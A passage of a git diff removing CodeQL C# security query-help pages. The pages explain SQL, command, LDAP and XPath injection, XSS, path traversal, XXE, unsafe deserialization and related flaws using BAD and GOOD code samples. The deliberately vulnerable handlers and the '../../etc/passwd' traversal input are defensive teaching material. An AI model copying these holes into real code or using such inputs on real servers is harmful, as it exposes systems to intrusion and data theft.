[CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SqlInjection.md b/docs/language/query-help/csharp/SqlInjection.md deleted file mode 100644 index 31052c94634..00000000000 --- a/docs/language/query-help/csharp/SqlInjection.md +++ /dev/null @@ -1,86 +0,0 @@ -# SQL query built from user-controlled sources - -``` -ID: cs/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SqlInjection.ql) - -If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. - - -## Recommendation -Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. - -It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in three different ways. - -The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. - -The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - -The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - - -```csharp -using System.Data; -using System.Data.SqlClient; -using System.Web.UI.WebControls; - -class SqlInjection -{ - TextBox categoryTextBox; - string connectionString; - - public DataSet GetDataSetByCategory() - { - // BAD: the category might have SQL special characters in it - using (var connection = new SqlConnection(connectionString)) - { - var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + categoryTextBox.Text + "' ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query1, connection); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with stored procedures - using (var connection = new SqlConnection(connectionString)) - { - var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); - adapter.SelectCommand.CommandType = CommandType.StoredProcedure; - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with dynamic SQL - using (var connection = new SqlConnection(connectionString)) - { - var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" - + "@category ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query2, connection); - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - } -} - -``` - -## References -* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredCommandInjection.md b/docs/language/query-help/csharp/StoredCommandInjection.md deleted file mode 100644 index bab076e373b..00000000000 --- a/docs/language/query-help/csharp/StoredCommandInjection.md +++ /dev/null @@ -1,45 +0,0 @@ -# Uncontrolled command line from stored user input - -``` -ID: cs/stored-command-line-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/StoredCommandInjection.ql) - -Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. - - -```csharp -using System; -using System.Web; -using System.Diagnostics; - -public class CommandInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string param = ctx.Request.QueryString["param"]; - Process.Start("process.exe", "/c " + param); - } -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredLDAPInjection.md b/docs/language/query-help/csharp/StoredLDAPInjection.md deleted file mode 100644 index cea773faa69..00000000000 --- a/docs/language/query-help/csharp/StoredLDAPInjection.md +++ /dev/null @@ -1,85 +0,0 @@ -# LDAP query built from stored user-controlled sources - -``` -ID: cs/stored-ldap-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-090 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/StoredLDAPInjection.ql) - -If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. - - -## Recommendation -If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. - - -## Example -In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. - -The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. - -The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. - - -```csharp -using Microsoft.Security.Application.Encoder -using System; -using System.DirectoryServices; -using System.Web; - -public class LDAPInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["username"]; - string organizationName = ctx.Request.QueryString["organization_name"]; - // BAD: User input used in DN (Distinguished Name) without encoding - string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; - using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) - { - // BAD: User input used in search filter without encoding - DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - - // GOOD: Organization name is encoded before being used in DN - string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); - string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; - using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) - { - // GOOD: User input is encoded before being used in search filter - string safeUserName = Encoder.LdapFilterEncode(userName); - DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - } -} - -``` - -## References -* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). -* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). -* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). -* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). -* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXPathInjection.md b/docs/language/query-help/csharp/StoredXPathInjection.md deleted file mode 100644 index 53c34f32670..00000000000 --- a/docs/language/query-help/csharp/StoredXPathInjection.md +++ /dev/null @@ -1,64 +0,0 @@ -# Stored XPath injection - -``` -ID: cs/xml/stored-xpath-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/StoredXPathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. - -When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. - - -## Example -In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - -In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. - - -```csharp -using System; -using System.Web; -using System.Xml.XPath; - -public class XPathInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["userName"]; - - // BAD: Use user-provided data directly in an XPath expression - string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; - XPathExpression.Compile(badXPathExpr); - - // GOOD: XPath expression uses variables to refer to parameters - string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; - XPathExpression xpath = XPathExpression.Compile(xpathExpression); - - // Arguments are provided as a XsltArgumentList() - XsltArgumentList varList = new XsltArgumentList(); - varList.AddParam("userName", string.Empty, userName); - - // CustomContext is an application specific class, that looks up variables in the - // expression from the varList. - CustomContext context = new CustomContext(new NameTable(), varList) - xpath.SetContext(context); - } -} - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXSS.md b/docs/language/query-help/csharp/StoredXSS.md deleted file mode 100644 index 8b4dded32fc..00000000000 --- a/docs/language/query-help/csharp/StoredXSS.md +++ /dev/null @@ -1,43 +0,0 @@ -# Stored cross-site scripting - -``` -ID: cs/web/stored-xss -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/StoredXSS.ql) - -Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. - - -```csharp -using System; -using System.Web; - -public class XSSHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - ctx.Response.Write( - "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); - } -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/TaintedPath.md b/docs/language/query-help/csharp/TaintedPath.md deleted file mode 100644 index a4935bc9743..00000000000 --- a/docs/language/query-help/csharp/TaintedPath.md +++ /dev/null @@ -1,61 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: cs/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/TaintedPath.ql) - -Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. - - -## Recommendation -Validate user input before using it to construct a file path. Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". -* Use a whitelist of known good patterns. -* Sanitize potentially tainted paths using `HttpRequest.MapPath`. - -## Example -In the first example, a file name is read from a `HttpRequest` and then used to access a file. However, a malicious user could enter a file name which is an absolute path - for example, "/etc/passwd". In the second example, it appears that the user is restricted to opening a file within the "user" home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - - -```csharp -using System; -using System.IO; -using System.Web; - -public class TaintedPathHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - String path = ctx.Request.QueryString["path"]; - // BAD: This could read any file on the filesystem. - ctx.Response.Write(File.ReadAllText(path)); - - // BAD: This could still read any file on the filesystem. - ctx.Response.Write(File.ReadAllText("/home/user/" + path)); - - // GOOD: MapPath ensures the path is safe to read from. - string safePath = ctx.Request.MapPath(path, ctx.Request.ApplicationPath, false); - ctx.Response.Write(File.ReadAllText(safePath)); - } -} - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md deleted file mode 100644 index c9d8e029350..00000000000 --- a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md +++ /dev/null @@ -1,132 +0,0 @@ -# Thread-unsafe use of a static ICryptoTransform field - -``` -ID: cs/thread-unsafe-icryptotransform-field-in-class -Kind: problem -Severity: warning -Precision: medium -Tags: concurrency security external/cwe/cwe-362 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransform.ql) - -Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. - -This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. - -For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). - -Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. - -For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. - -It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. - -Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. - -Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. - - -## Recommendation -If the object is shared across instances, you should consider changing the code to use a non-static object of type `System.Security.Cryptography.ICryptoTransform` instead. - -As an alternative, you could also look into using `ThreadStatic` attribute, but make sure you read the initialization remarks on the documentation. - - -## Example -This example demonstrates the dangers of using a static `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results. - - -```csharp -internal class TokenCacheThreadUnsafeICryptoTransformDemo -{ - private static SHA256 _sha = SHA256.Create(); - - public string ComputeHash(string data) - { - byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); - return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); - } -} - -class Program -{ - static void Main(string[] args) - { - int max = 1000; - Task[] tasks = new Task[max]; - - Action action = (object obj) => - { - var unsafeObj = new TokenCacheThreadUnsafeICryptoTransformDemo(); - if (unsafeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") - { - Console.WriteLine("**** We got incorrect Results!!! ****"); - } - }; - - for (int i = 0; i < max; i++) - { - // hash calculated on all threads should be the same: - // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) - // - tasks[i] = Task.Factory.StartNew(action, "abc"); - } - - Task.WaitAll(tasks); - } -} - -``` -A simple fix is to change the `_sha` field from being a static member to an instance one by removing the `static` keyword. - - -```csharp -internal class TokenCacheThreadUnsafeICryptoTransformDemoFixed -{ - // We are replacing the static SHA256 field with an instance one - // - //private static SHA256 _sha = SHA256.Create(); - private SHA256 _sha = SHA256.Create(); - - public string ComputeHash(string data) - { - byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); - return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); - } -} - -class Program -{ - static void Main(string[] args) - { - int max = 1000; - Task[] tasks = new Task[max]; - - Action action = (object obj) => - { - var safeObj = new TokenCacheThreadUnsafeICryptoTransformDemoFixed(); - if (safeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") - { - Console.WriteLine("**** We got incorrect Results!!! ****"); - } - }; - - for (int i = 0; i < max; i++) - { - // hash calculated on all threads should be the same: - // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) - // - tasks[i] = Task.Factory.StartNew(action, "abc"); - } - - Task.WaitAll(tasks); - } -} - -``` - -## References -* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). -* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). -* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md deleted file mode 100644 index 8060d9a8f7e..00000000000 --- a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md +++ /dev/null @@ -1,96 +0,0 @@ -# Thread-unsafe capturing of an ICryptoTransform object - -``` -ID: cs/thread-unsafe-icryptotransform-captured-in-lambda -Kind: problem -Severity: warning -Precision: medium -Tags: concurrency security external/cwe/cwe-362 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransformLambda.ql) - -Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. - -This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. - -For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). - -Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. - -For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. - -It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. - -Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. - -Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. - - -## Recommendation -Create new instances of the object that implements or has a field of type `System.Security.Cryptography.ICryptoTransform` to avoid sharing it accross multiple threads. - - -## Example -This example demonstrates the dangers of using a shared `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results or may raise an exception. - - -```csharp -public static void RunThreadUnSafeICryptoTransformLambdaBad() -{ - const int threadCount = 4; - // This local variable for a hash object is going to be shared across multiple threads - var sha1 = SHA1.Create(); - var b = new Barrier(threadCount); - Action start = () => { - b.SignalAndWait(); - for (int i = 0; i < 1000; i++) - { - var pwd = Guid.NewGuid().ToString(); - var bytes = Encoding.UTF8.GetBytes(pwd); - // This call may fail, or return incorrect results - sha1.ComputeHash(bytes); - } - }; - var threads = Enumerable.Range(0, threadCount) - .Select(_ => new ThreadStart(start)) - .Select(x => new Thread(x)) - .ToList(); - foreach (var t in threads) t.Start(); - foreach (var t in threads) t.Join(); -} - -``` -A simple fix is to change the local variable `sha1` being captured by the lambda to be a local variable within the lambda. - - -```csharp -public static void RunThreadUnSafeICryptoTransformLambdaFixed() -{ - const int threadCount = 4; - var b = new Barrier(threadCount); - Action start = () => { - b.SignalAndWait(); - // The hash object is no longer shared - for (int i = 0; i < 1000; i++) - { - var sha1 = SHA1.Create(); - var pwd = Guid.NewGuid().ToString(); - var bytes = Encoding.UTF8.GetBytes(pwd); - sha1.ComputeHash(bytes); - } - }; - var threads = Enumerable.Range(0, threadCount) - .Select(_ => new ThreadStart(start)) - .Select(x => new Thread(x)) - .ToList(); - foreach (var t in threads) t.Start(); - foreach (var t in threads) t.Join(); -} - -``` - -## References -* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). -* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). -* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UncontrolledFormatString.md b/docs/language/query-help/csharp/UncontrolledFormatString.md deleted file mode 100644 index 616c29cdd42..00000000000 --- a/docs/language/query-help/csharp/UncontrolledFormatString.md +++ /dev/null @@ -1,47 +0,0 @@ -# Uncontrolled format string - -``` -ID: cs/uncontrolled-format-string -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-134/UncontrolledFormatString.ql) - -Passing untrusted format strings to `String.Format` can throw exceptions and cause a denial of service. For example, if the format string references a missing argument, or an argument of the wrong type, then `System.FormatException` is thrown. - - -## Recommendation -Use a string literal for the format string to prevent the possibility of data flow from an untrusted source. This also helps to prevent errors where the arguments to `String.Format` do not match the format string. - -If the format string cannot be constant, ensure that it comes from a secure data source or is compiled into the source code. - - -## Example -In this example, the format string is read from an HTTP request, which could cause the application to crash. - - -```csharp -using System.Web; - -public class HttpHandler : IHttpHandler -{ - string Surname, Forenames, FormattedName; - - public void ProcessRequest(HttpContext ctx) - { - string format = ctx.Request.QueryString["nameformat"]; - - // BAD: Uncontrolled format string. - FormattedName = string.Format(format, Surname, Forenames); - } -} - -``` - -## References -* OWASP: [Format string attack](https://www.owasp.org/index.php/Format_string_attack). -* Microsoft docs: [String.Format Method](https://docs.microsoft.com/en-us/dotnet/api/system.string.format) -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md b/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md deleted file mode 100644 index 4323b3903d6..00000000000 --- a/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md +++ /dev/null @@ -1,60 +0,0 @@ -# Deserialization of untrusted data - -``` -ID: cs/unsafe-deserialization-untrusted-input -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/UnsafeDeserializationUntrustedInput.ql) - -Deserializing an object from untrusted input may result in security problems, such as denial of service or remote code execution. - - -## Recommendation -Avoid deserializing objects from an untrusted source, and if not possible, make sure to use a safe deserialization framework. - - -## Example -In this example, text from an HTML text box is deserialized using a `JavaScriptSerializer` with a simple type resolver. Using a type resolver means that arbitrary code may be executed. - - -```csharp -using System.Web.UI.WebControls; -using System.Web.Script.Serialization; - -class Bad -{ - public static object Deserialize(TextBox textBox) - { - JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); - // BAD - return sr.DeserializeObject(textBox.Text); - } -} - -``` -To fix this specific vulnerability, we avoid using a type resolver. In other cases, it may be necessary to use a different deserialization framework. - - -```csharp -using System.Web.UI.WebControls; -using System.Web.Script.Serialization; - -class Good -{ - public static object Deserialize(TextBox textBox) - { - JavaScriptSerializer sr = new JavaScriptSerializer(); - // GOOD - return sr.DeserializeObject(textBox.Text); - } -} - -``` - -## References -* Muñoz, Alvaro and Mirosh, Oleksandr: [JSON Attacks](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UntrustedDataInsecureXml.md b/docs/language/query-help/csharp/UntrustedDataInsecureXml.md deleted file mode 100644 index 17907d33a59..00000000000 --- a/docs/language/query-help/csharp/UntrustedDataInsecureXml.md +++ /dev/null @@ -1,45 +0,0 @@ -# Untrusted XML is read insecurely - -``` -ID: cs/xml/insecure-dtd-handling -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-611 external/cwe/cwe-827 external/cwe/cwe-776 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-611/UntrustedDataInsecureXml.ql) - -XML documents can contain Document Type Definitions (DTDs), which may define new XML entities. These can be used to perform Denial of Service (DoS) attacks, or resolve to resources outside the intended sphere of control. - - -## Recommendation -When processing XML documents, ensure that DTD processing is disabled unless absolutely necessary, and if it is necessary, ensure that a secure resolver is used. - - -## Example -The following example shows an HTTP request parameter being read directly into an `XmlTextReader`. In the current version of the .NET Framework, `XmlTextReader` has DTD processing enabled by default. - - -```csharp -public class XMLHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - // BAD: XmlTextReader is insecure by default, and the payload is user-provided data - XmlTextReader reader = new XmlTextReader(ctx.Request.QueryString["document"]); - ... - } -} - - -``` -The solution is to set the `DtdProcessing` property to `DtdProcessing.Prohibit`. - - -## References -* OWASP: [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html). -* Microsoft Docs: [System.XML: Security considerations](https://msdn.microsoft.com/en-us/library/system.xml.xmlreadersettings(v=vs.110).aspx#Anchor_6). -* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). -* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). -* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UrlRedirect.md b/docs/language/query-help/csharp/UrlRedirect.md deleted file mode 100644 index 97ae42aa9c9..00000000000 --- a/docs/language/query-help/csharp/UrlRedirect.md +++ /dev/null @@ -1,50 +0,0 @@ -# URL redirection from remote source - -``` -ID: cs/web/unvalidated-url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-601/UrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. - - -```csharp -using System; -using System.Web; - -public class UnvalidatedUrlHandler : IHttpHandler -{ - private const String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; - - public void ProcessRequest(HttpContext ctx) - { - // BAD: a request parameter is incorporated without validation into a URL redirect - ctx.Response.Redirect(ctx.Request.QueryString["page"]); - - // GOOD: the request parameter is validated against a known fixed string - if (VALID_REDIRECT == ctx.Request.QueryString["page"]) - { - ctx.Response.Redirect(VALID_REDIRECT); - } - } -} - -``` - -## References -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat 